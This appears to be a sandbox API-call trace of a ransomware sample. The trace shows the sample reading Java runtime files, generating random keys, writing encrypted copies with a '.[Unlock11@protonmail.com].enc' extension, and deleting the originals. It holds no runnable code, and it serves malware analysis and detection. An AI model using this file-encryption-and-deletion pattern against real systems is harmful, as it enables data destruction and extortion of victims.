[0125.155] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0125.155] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652d8 [0125.155] GetLastError () returned 0x0 [0125.155] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0125.155] GetFileType (hFile=0x39c) returned 0x1 [0125.155] GetLastError () returned 0x0 [0125.156] GetCurrentThreadId () returned 0x9b0 [0125.156] GetLastError () returned 0x0 [0125.156] GetFileType (hFile=0x39c) returned 0x1 [0125.156] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.156] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.156] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.156] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.156] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.156] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.156] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.156] GetLastError () returned 0x0 [0125.156] GetCurrentThreadId () returned 0x9b0 [0125.157] GetLastError () returned 0x0 [0125.157] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652d8 | out: hHeap=0x2ad0000) returned 1 [0125.157] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a568 | out: hHeap=0x2ad0000) returned 1 [0125.157] GetLastError () returned 0x0 [0125.157] GetLastError () returned 0x0 [0125.157] GetLastError () returned 0x0 [0125.157] GetLastError () returned 0x0 [0125.157] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0125.157] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265318 [0125.157] GetLastError () returned 0x0 [0125.157] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0125.158] GetFileType (hFile=0x3ac) returned 0x1 [0125.158] GetLastError () returned 0x0 [0125.158] GetCurrentThreadId () returned 0x9b0 [0125.158] GetLastError () returned 0x0 [0125.158] GetFileType (hFile=0x3ac) returned 0x1 [0125.158] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.158] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.159] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.159] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.159] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.159] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.159] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.159] GetLastError () returned 0x0 [0125.159] GetCurrentThreadId () returned 0x9b0 [0125.159] GetLastError () returned 0x0 [0125.159] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265318 | out: hHeap=0x2ad0000) returned 1 [0125.159] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0125.159] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0125.159] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0125.160] GetLastError () returned 0x0 [0125.160] GetLastError () returned 0x0 [0125.160] GetCurrentThreadId () returned 0x9b0 [0125.160] GetLastError () returned 0x0 [0125.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0125.160] GetLastError () returned 0x0 [0125.160] GetLastError () returned 0x0 [0125.160] GetCurrentThreadId () returned 0x9b0 [0125.160] GetLastError () returned 0x0 [0125.160] GetLastError () returned 0x0 [0125.162] GetLastError () returned 0x0 [0125.162] GetCurrentThreadId () returned 0x9b0 [0125.162] GetLastError () returned 0x0 [0125.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265498 | out: hHeap=0x2ad0000) returned 1 [0125.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x4058) returned 0x35c0a00 [0125.162] GetLastError () returned 0x0 [0125.163] GetLastError () returned 0x0 [0125.163] GetLastError () returned 0x0 [0125.163] GetLastError () returned 0x0 [0125.163] GetCurrentThreadId () returned 0x9b0 [0125.163] GetLastError () returned 0x0 [0125.163] GetCurrentThreadId () returned 0x9b0 [0125.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4055) returned 0x36fc5a8 [0125.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0a00 | out: hHeap=0x2ad0000) returned 1 [0125.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0125.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.164] GetLastError () returned 0x0 [0125.165] GetLastError () returned 0x0 [0125.165] GetCurrentThreadId () returned 0x9b0 [0125.165] GetLastError () returned 0x0 [0125.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fc5a8 | out: hHeap=0x2ad0000) returned 1 [0125.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fc5a8 [0125.165] GetLastError () returned 0x0 [0125.165] GetLastError () returned 0x0 [0125.165] GetCurrentThreadId () returned 0x9b0 [0125.165] GetLastError () returned 0x0 [0125.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fc5a8 | out: hHeap=0x2ad0000) returned 1 [0125.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.166] GetLastError () returned 0x0 [0125.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0125.166] CloseHandle (hObject=0x3ac) returned 1 [0125.166] GetLastError () returned 0x0 [0125.166] GetCurrentThreadId () returned 0x9b0 [0125.166] GetLastError () returned 0x0 [0125.167] GetLastError () returned 0x0 [0125.167] CloseHandle (hObject=0x39c) returned 1 [0125.167] GetLastError () returned 0x0 [0125.167] GetCurrentThreadId () returned 0x9b0 [0125.167] GetLastError () returned 0x0 [0125.167] GetLastError () returned 0x0 [0125.167] GetLastError () returned 0x0 [0125.167] GetLastError () returned 0x0 [0125.167] GetLastError () returned 0x0 [0125.167] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 1 [0125.169] GetLastError () returned 0x0 [0125.169] GetCurrentThreadId () returned 0x9b0 [0125.169] GetLastError () returned 0x0 [0125.169] GetLastError () returned 0x0 [0125.169] GetLastError () returned 0x0 [0125.169] GetLastError () returned 0x0 [0125.169] GetLastError () returned 0x0 [0125.169] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll", lpFilePart=0x9bada4*="prism_common.dll") returned 0x37 [0125.169] GetCurrentThreadId () returned 0x9b0 [0125.169] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0125.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0125.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0125.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0125.170] GetCurrentThreadId () returned 0x9b0 [0125.170] GetLastError () returned 0x0 [0125.170] GetLastError () returned 0x0 [0125.170] GetLastError () returned 0x0 [0125.170] GetLastError () returned 0x0 [0125.170] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll", lpFilePart=0x9bada4*="prism_d3d.dll") returned 0x34 [0125.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0125.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0125.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0125.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0125.171] GetCurrentThreadId () returned 0x9b0 [0125.171] GetLastError () returned 0x0 [0125.171] GetLastError () returned 0x0 [0125.171] GetLastError () returned 0x0 [0125.171] GetLastError () returned 0x0 [0125.171] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll", lpFilePart=0x9bada4*="prism_sw.dll") returned 0x33 [0125.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0125.171] GetCurrentThreadId () returned 0x9b0 [0125.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0125.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0125.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0125.172] GetLastError () returned 0x0 [0125.172] GetLastError () returned 0x0 [0125.172] GetLastError () returned 0x0 [0125.172] GetLastError () returned 0x0 [0125.172] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll", lpFilePart=0x9bada4*="resource.dll") returned 0x33 [0125.172] GetCurrentThreadId () returned 0x9b0 [0125.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0125.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0125.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0125.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0125.173] GetLastError () returned 0x0 [0125.173] GetLastError () returned 0x0 [0125.173] GetLastError () returned 0x0 [0125.173] GetLastError () returned 0x0 [0125.173] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe", lpFilePart=0x9bada4*="rmid.exe") returned 0x2f [0125.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0125.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0125.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0125.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0125.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5fa0 [0125.174] GetLastError () returned 0x0 [0125.174] GetLastError () returned 0x0 [0125.174] GetLastError () returned 0x0 [0125.174] GetLastError () returned 0x0 [0125.174] GetLastError () returned 0x0 [0125.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5fa0 | out: hHeap=0x2ad0000) returned 1 [0125.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5e60 [0125.174] GetLastError () returned 0x0 [0125.175] GetLastError () returned 0x0 [0125.175] GetLastError () returned 0x0 [0125.175] GetLastError () returned 0x0 [0125.175] GetLastError () returned 0x0 [0125.175] GetLastError () returned 0x0 [0125.175] GetLastError () returned 0x0 [0125.175] GetLastError () returned 0x0 [0125.175] GetLastError () returned 0x0 [0125.175] GetLastError () returned 0x0 [0125.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5e60 | out: hHeap=0x2ad0000) returned 1 [0125.176] GetLastError () returned 0x0 [0125.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0125.176] GetLastError () returned 0x0 [0125.176] GetLastError () returned 0x0 [0125.176] GetLastError () returned 0x0 [0125.176] GetLastError () returned 0x0 [0125.176] GetLastError () returned 0x0 [0125.176] GetLastError () returned 0x0 [0125.176] GetLastError () returned 0x0 [0125.176] GetLastError () returned 0x0 [0125.176] GetLastError () returned 0x0 [0125.177] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0125.177] GetLastError () returned 0x0 [0125.177] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0125.177] GetLastError () returned 0x0 [0125.177] GetLastError () returned 0x0 [0125.177] GetLastError () returned 0x0 [0125.177] GetLastError () returned 0x0 [0125.177] GetLastError () returned 0x0 [0125.177] GetLastError () returned 0x0 [0125.177] GetLastError () returned 0x0 [0125.178] GetLastError () returned 0x0 [0125.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0125.178] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40)) returned 1 [0125.178] GetLastError () returned 0x0 [0125.178] GetLastError () returned 0x0 [0125.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0125.178] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b444 | out: pbBuffer=0x366b444) returned 1 [0125.178] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0125.178] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0125.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0125.179] GetLastError () returned 0x0 [0125.179] GetLastError () returned 0x0 [0125.179] GetLastError () returned 0x0 [0125.179] GetLastError () returned 0x0 [0125.179] GetLastError () returned 0x0 [0125.179] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0125.180] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5e38 [0125.180] GetLastError () returned 0x0 [0125.180] GetLastError () returned 0x0 [0125.180] GetLastError () returned 0x0 [0125.180] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0125.180] GetFileType (hFile=0x39c) returned 0x1 [0125.180] GetFileType (hFile=0x39c) returned 0x1 [0125.181] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.181] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.181] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.181] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.181] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.181] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.181] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.181] GetCurrentThreadId () returned 0x9b0 [0125.181] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0125.182] GetFileType (hFile=0x3ac) returned 0x1 [0125.182] GetCurrentThreadId () returned 0x9b0 [0125.182] GetFileType (hFile=0x3ac) returned 0x1 [0125.182] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.182] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.182] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.182] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.182] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.182] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.182] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.182] GetCurrentThreadId () returned 0x9b0 [0125.183] GetCurrentThreadId () returned 0x9b0 [0125.183] GetCurrentThreadId () returned 0x9b0 [0125.184] GetCurrentThreadId () returned 0x9b0 [0125.184] GetCurrentThreadId () returned 0x9b0 [0125.184] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3e58) returned 0x35c0a00 [0125.184] GetCurrentThreadId () returned 0x9b0 [0125.186] GetCurrentThreadId () returned 0x9b0 [0125.186] GetCurrentThreadId () returned 0x9b0 [0125.186] CloseHandle (hObject=0x3ac) returned 1 [0125.187] GetCurrentThreadId () returned 0x9b0 [0125.187] CloseHandle (hObject=0x39c) returned 1 [0125.187] GetCurrentThreadId () returned 0x9b0 [0125.187] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe")) returned 1 [0125.188] GetCurrentThreadId () returned 0x9b0 [0125.188] GetCurrentThreadId () returned 0x9b0 [0125.188] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe", lpFilePart=0x9bada4*="rmiregistry.exe") returned 0x36 [0125.188] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0125.188] GetCurrentThreadId () returned 0x9b0 [0125.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0125.189] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0125.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0125.189] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5fa0 [0125.189] GetLastError () returned 0x0 [0125.189] GetLastError () returned 0x0 [0125.189] GetLastError () returned 0x0 [0125.189] GetLastError () returned 0x0 [0125.189] GetCurrentThreadId () returned 0x9b0 [0125.189] GetLastError () returned 0x0 [0125.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5fa0 | out: hHeap=0x2ad0000) returned 1 [0125.190] GetCurrentThreadId () returned 0x9b0 [0125.190] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5fa0 [0125.190] GetLastError () returned 0x0 [0125.190] GetLastError () returned 0x0 [0125.190] GetLastError () returned 0x0 [0125.190] GetLastError () returned 0x0 [0125.190] GetCurrentThreadId () returned 0x9b0 [0125.190] GetLastError () returned 0x0 [0125.190] GetLastError () returned 0x0 [0125.190] GetLastError () returned 0x0 [0125.190] GetLastError () returned 0x0 [0125.191] GetLastError () returned 0x0 [0125.191] GetCurrentThreadId () returned 0x9b0 [0125.191] GetLastError () returned 0x0 [0125.191] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5fa0 | out: hHeap=0x2ad0000) returned 1 [0125.191] GetLastError () returned 0x0 [0125.191] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0125.191] GetLastError () returned 0x0 [0125.191] GetLastError () returned 0x0 [0125.191] GetLastError () returned 0x0 [0125.191] GetCurrentThreadId () returned 0x9b0 [0125.191] GetLastError () returned 0x0 [0125.192] GetCurrentThreadId () returned 0x9b0 [0125.192] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a4e8 [0125.192] GetLastError () returned 0x0 [0125.192] GetLastError () returned 0x0 [0125.192] GetLastError () returned 0x0 [0125.192] GetLastError () returned 0x0 [0125.192] GetCurrentThreadId () returned 0x9b0 [0125.192] GetLastError () returned 0x0 [0125.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0125.192] GetLastError () returned 0x0 [0125.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0125.193] GetLastError () returned 0x0 [0125.193] GetLastError () returned 0x0 [0125.193] GetLastError () returned 0x0 [0125.193] GetCurrentThreadId () returned 0x9b0 [0125.193] GetLastError () returned 0x0 [0125.193] GetLastError () returned 0x0 [0125.193] GetLastError () returned 0x0 [0125.193] GetLastError () returned 0x0 [0125.193] GetLastError () returned 0x0 [0125.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.194] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8af971e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1 [0125.194] GetLastError () returned 0x0 [0125.194] GetCurrentThreadId () returned 0x9b0 [0125.194] GetLastError () returned 0x0 [0125.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab28 | out: hHeap=0x2ad0000) returned 1 [0125.194] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b3cc | out: pbBuffer=0x366b3cc) returned 1 [0125.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0125.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0125.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0125.194] GetCurrentThreadId () returned 0x9b0 [0125.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c60e0 [0125.195] GetLastError () returned 0x0 [0125.195] GetLastError () returned 0x0 [0125.195] GetLastError () returned 0x0 [0125.195] GetLastError () returned 0x0 [0125.195] GetCurrentThreadId () returned 0x9b0 [0125.195] GetLastError () returned 0x0 [0125.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c60e0 | out: hHeap=0x2ad0000) returned 1 [0125.196] GetCurrentThreadId () returned 0x9b0 [0125.196] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5e38 [0125.196] GetLastError () returned 0x0 [0125.196] GetLastError () returned 0x0 [0125.196] GetLastError () returned 0x0 [0125.196] GetLastError () returned 0x0 [0125.196] GetCurrentThreadId () returned 0x9b0 [0125.196] GetLastError () returned 0x0 [0125.196] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5e38 | out: hHeap=0x2ad0000) returned 1 [0125.196] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265498 [0125.196] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3df0 | out: hHeap=0x2ad0000) returned 1 [0125.197] GetLastError () returned 0x0 [0125.197] GetLastError () returned 0x0 [0125.197] 